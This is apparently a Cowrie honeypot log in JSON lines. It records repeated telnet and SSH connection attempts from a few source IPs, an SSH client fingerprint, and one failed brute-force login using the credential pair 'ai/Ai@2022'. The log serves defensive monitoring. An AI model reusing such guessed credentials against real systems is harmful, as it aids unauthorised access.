{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":53954,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a75b90f5356","protocol":"telnet","message":"New connection: 66.113.179.55:53954 (10.17.0.5:23) [session: 8a75b90f5356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:35.955628Z"}
{"eventid":"cowrie.session.closed","duration":120.00143504142761,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:36.175635Z","src_ip":"196.74.173.205","session":"fd87885c4fa2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":39204,"dst_ip":"159.203.135.109","dst_port":23,"session":"61446fd86db1","protocol":"telnet","message":"New connection: 50.116.100.16:39204 (159.203.135.109:23) [session: 61446fd86db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:36.186274Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":38710,"dst_ip":"159.203.135.109","dst_port":23,"session":"13b09a418aab","protocol":"telnet","message":"New connection: 50.116.100.16:38710 (159.203.135.109:23) [session: 13b09a418aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:36.600019Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":39266,"dst_ip":"159.203.135.109","dst_port":23,"session":"9060e3cebee2","protocol":"telnet","message":"New connection: 50.116.100.16:39266 (159.203.135.109:23) [session: 9060e3cebee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:37.249025Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":59060,"dst_ip":"10.17.0.5","dst_port":23,"session":"41ae3ed1c195","protocol":"telnet","message":"New connection: 66.113.179.55:59060 (10.17.0.5:23) [session: 41ae3ed1c195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:37.612769Z"}
{"eventid":"cowrie.session.closed","duration":31.034937143325806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:39.123092Z","src_ip":"50.116.100.16","session":"be11e01a273e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.797943830490112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:39.270342Z","src_ip":"50.116.100.16","session":"299553768b2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.119415044784546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:39.596176Z","src_ip":"50.116.100.16","session":"c15ac426410c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":36956,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4abdc3621fd","protocol":"telnet","message":"New connection: 66.113.179.55:36956 (10.17.0.5:23) [session: b4abdc3621fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:39.660954Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":43124,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8a1e8f211c9","protocol":"telnet","message":"New connection: 50.116.100.16:43124 (159.203.135.109:23) [session: b8a1e8f211c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:40.066176Z"}
{"eventid":"cowrie.session.closed","duration":30.901647329330444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:40.144861Z","src_ip":"50.116.100.16","session":"efc36f9a1920","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":43340,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b3f08634ac6","protocol":"telnet","message":"New connection: 50.116.100.16:43340 (159.203.135.109:23) [session: 0b3f08634ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:40.322520Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":44298,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d51b72b30e2","protocol":"telnet","message":"New connection: 50.116.100.16:44298 (159.203.135.109:23) [session: 1d51b72b30e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:41.336493Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":42350,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a60c0ad462e","protocol":"telnet","message":"New connection: 66.113.179.55:42350 (10.17.0.5:23) [session: 8a60c0ad462e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:41.345212Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":43314,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0ccc1d5a1fc","protocol":"telnet","message":"New connection: 66.113.179.55:43314 (10.17.0.5:23) [session: e0ccc1d5a1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:41.606234Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":43418,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffa33125a6be","protocol":"telnet","message":"New connection: 66.113.179.55:43418 (10.17.0.5:23) [session: ffa33125a6be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:41.644506Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":43850,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f657360c934","protocol":"telnet","message":"New connection: 50.116.100.16:43850 (159.203.135.109:23) [session: 6f657360c934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:41.798263Z"}
{"eventid":"cowrie.session.closed","duration":31.584518671035767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:41.912060Z","src_ip":"50.116.100.16","session":"d2ca2040d1f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":45110,"dst_ip":"159.203.135.109","dst_port":23,"session":"f07d70ebac5c","protocol":"telnet","message":"New connection: 50.116.100.16:45110 (159.203.135.109:23) [session: f07d70ebac5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:42.354615Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":46714,"dst_ip":"10.17.0.5","dst_port":23,"session":"66432c72c734","protocol":"telnet","message":"New connection: 66.113.179.55:46714 (10.17.0.5:23) [session: 66432c72c734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:42.703087Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48366,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7afe051c04e","protocol":"ssh","message":"New connection: 159.203.92.129:48366 (159.203.135.109:22) [session: c7afe051c04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:43.288332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:43.300469Z","src_ip":"159.203.92.129","session":"c7afe051c04e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:43.306181Z","src_ip":"159.203.92.129","session":"c7afe051c04e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"Ai@2022","message":"login attempt [ai/Ai@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:43.319703Z","src_ip":"159.203.92.129","session":"c7afe051c04e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":49538,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e7ab41c1f59","protocol":"telnet","message":"New connection: 66.113.179.55:49538 (10.17.0.5:23) [session: 8e7ab41c1f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:43.599704Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:44.327793Z","src_ip":"159.203.92.129","session":"c7afe051c04e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":46972,"dst_ip":"159.203.135.109","dst_port":23,"session":"082d1c57e5ce","protocol":"telnet","message":"New connection: 50.116.100.16:46972 (159.203.135.109:23) [session: 082d1c57e5ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:44.396531Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":52802,"dst_ip":"10.17.0.5","dst_port":23,"session":"12d5f28d6f19","protocol":"telnet","message":"New connection: 66.113.179.55:52802 (10.17.0.5:23) [session: 12d5f28d6f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:44.657037Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":53748,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aebfc368152","protocol":"telnet","message":"New connection: 66.113.179.55:53748 (10.17.0.5:23) [session: 1aebfc368152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:44.918329Z"}
{"eventid":"cowrie.session.closed","duration":31.302725553512573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:45.564940Z","src_ip":"50.116.100.16","session":"5034ce717b3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":60118,"dst_ip":"10.17.0.5","dst_port":23,"session":"12b331bf4ceb","protocol":"telnet","message":"New connection: 66.113.179.55:60118 (10.17.0.5:23) [session: 12b331bf4ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:46.821794Z"}
{"eventid":"cowrie.session.closed","duration":30.880810499191284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:47.497482Z","src_ip":"66.113.179.55","session":"7b6d3b226080","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62804102897644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:48.167184Z","src_ip":"50.116.100.16","session":"928048aea6fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5151469707489,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:48.177995Z","src_ip":"50.116.100.16","session":"f7f83484ecdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":36488,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4d67539dbf5","protocol":"telnet","message":"New connection: 66.113.179.55:36488 (10.17.0.5:23) [session: d4d67539dbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:48.278915Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":51120,"dst_ip":"159.203.135.109","dst_port":23,"session":"11231516e8bf","protocol":"telnet","message":"New connection: 50.116.100.16:51120 (159.203.135.109:23) [session: 11231516e8bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:48.921999Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":51340,"dst_ip":"159.203.135.109","dst_port":23,"session":"b96f0b382b8b","protocol":"telnet","message":"New connection: 50.116.100.16:51340 (159.203.135.109:23) [session: b96f0b382b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:49.263065Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":48662,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcd484f52bc6","protocol":"telnet","message":"New connection: 50.116.100.16:48662 (159.203.135.109:23) [session: dcd484f52bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:49.277883Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":42126,"dst_ip":"10.17.0.5","dst_port":23,"session":"93ddab069712","protocol":"telnet","message":"New connection: 66.113.179.55:42126 (10.17.0.5:23) [session: 93ddab069712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:50.032770Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":52324,"dst_ip":"159.203.135.109","dst_port":23,"session":"80144c666028","protocol":"telnet","message":"New connection: 50.116.100.16:52324 (159.203.135.109:23) [session: 80144c666028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:50.392446Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":53786,"dst_ip":"159.203.135.109","dst_port":23,"session":"76899188bd42","protocol":"telnet","message":"New connection: 50.116.100.16:53786 (159.203.135.109:23) [session: 76899188bd42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:51.813376Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":49826,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2b4fcf75213","protocol":"telnet","message":"New connection: 66.113.179.55:49826 (10.17.0.5:23) [session: e2b4fcf75213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:52.396351Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":50440,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8f300e7806b","protocol":"telnet","message":"New connection: 66.113.179.55:50440 (10.17.0.5:23) [session: f8f300e7806b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:52.600641Z"}
{"eventid":"cowrie.session.closed","duration":31.3735933303833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:53.474061Z","src_ip":"50.116.100.16","session":"beac2a570f11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":54258,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bc02323e1ab","protocol":"telnet","message":"New connection: 66.113.179.55:54258 (10.17.0.5:23) [session: 8bc02323e1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:53.754463Z"}
{"eventid":"cowrie.session.closed","duration":31.43216609954834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:54.044401Z","src_ip":"66.113.179.55","session":"6a98a200db75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":56992,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb3d29842b75","protocol":"telnet","message":"New connection: 66.113.179.55:56992 (10.17.0.5:23) [session: eb3d29842b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:54.645935Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":56816,"dst_ip":"159.203.135.109","dst_port":23,"session":"989a1369304a","protocol":"telnet","message":"New connection: 50.116.100.16:56816 (159.203.135.109:23) [session: 989a1369304a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:55.108976Z"}
{"eventid":"cowrie.session.closed","duration":30.445163249969482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:55.127692Z","src_ip":"50.116.100.16","session":"83ed681b8f9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.066353797912598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:55.254557Z","src_ip":"50.116.100.16","session":"fcfee5187dd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":57580,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b98ed24d8c2","protocol":"telnet","message":"New connection: 50.116.100.16:57580 (159.203.135.109:23) [session: 3b98ed24d8c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:55.830796Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":34392,"dst_ip":"10.17.0.5","dst_port":23,"session":"b14569094f44","protocol":"telnet","message":"New connection: 66.113.179.55:34392 (10.17.0.5:23) [session: b14569094f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:56.573140Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":34556,"dst_ip":"10.17.0.5","dst_port":23,"session":"49f8776464fe","protocol":"telnet","message":"New connection: 66.113.179.55:34556 (10.17.0.5:23) [session: 49f8776464fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:56.612219Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":35506,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7f0436a0fbf","protocol":"telnet","message":"New connection: 66.113.179.55:35506 (10.17.0.5:23) [session: e7f0436a0fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:56.980059Z"}
{"eventid":"cowrie.session.closed","duration":31.290427684783936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:57.179020Z","src_ip":"50.116.100.16","session":"fa9874a20cab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.644670486450195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:57.520926Z","src_ip":"66.113.179.55","session":"bf9b59a62b49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":37886,"dst_ip":"10.17.0.5","dst_port":23,"session":"081781c125dd","protocol":"telnet","message":"New connection: 66.113.179.55:37886 (10.17.0.5:23) [session: 081781c125dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:57.774125Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":38464,"dst_ip":"10.17.0.5","dst_port":23,"session":"02e1d53270c2","protocol":"telnet","message":"New connection: 66.113.179.55:38464 (10.17.0.5:23) [session: 02e1d53270c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:57.959161Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":38538,"dst_ip":"10.17.0.5","dst_port":23,"session":"a73080fc79bc","protocol":"telnet","message":"New connection: 66.113.179.55:38538 (10.17.0.5:23) [session: a73080fc79bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:57.983615Z"}
{"eventid":"cowrie.session.closed","duration":30.91951823234558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:58.147932Z","src_ip":"50.116.100.16","session":"989aa756c629","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11797261238098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:58.253930Z","src_ip":"50.116.100.16","session":"b13f811e383b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87105703353882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:58.524700Z","src_ip":"66.113.179.55","session":"308e77f3e9d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":43108,"dst_ip":"10.17.0.5","dst_port":23,"session":"69c823af60ff","protocol":"telnet","message":"New connection: 66.113.179.55:43108 (10.17.0.5:23) [session: 69c823af60ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:59.550514Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":60964,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea450c711f20","protocol":"telnet","message":"New connection: 50.116.100.16:60964 (159.203.135.109:23) [session: ea450c711f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:59.559026Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":43740,"dst_ip":"10.17.0.5","dst_port":23,"session":"707f1c0b2820","protocol":"telnet","message":"New connection: 66.113.179.55:43740 (10.17.0.5:23) [session: 707f1c0b2820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:59.769493Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":44970,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec69d04419c2","protocol":"telnet","message":"New connection: 66.113.179.55:44970 (10.17.0.5:23) [session: ec69d04419c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:00.197623Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":33318,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a57e6d219b9","protocol":"telnet","message":"New connection: 50.116.100.16:33318 (159.203.135.109:23) [session: 7a57e6d219b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:00.218504Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":33438,"dst_ip":"159.203.135.109","dst_port":23,"session":"fee31a734449","protocol":"telnet","message":"New connection: 50.116.100.16:33438 (159.203.135.109:23) [session: fee31a734449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:00.357064Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":46156,"dst_ip":"10.17.0.5","dst_port":23,"session":"031e93eec49d","protocol":"telnet","message":"New connection: 66.113.179.55:46156 (10.17.0.5:23) [session: 031e93eec49d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:00.657596Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":47150,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f9af5f7bfcf","protocol":"telnet","message":"New connection: 66.113.179.55:47150 (10.17.0.5:23) [session: 8f9af5f7bfcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:00.969300Z"}
{"eventid":"cowrie.session.closed","duration":31.124607801437378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:01.226242Z","src_ip":"50.116.100.16","session":"2d39cd90e72e","protocol":"telnet"}
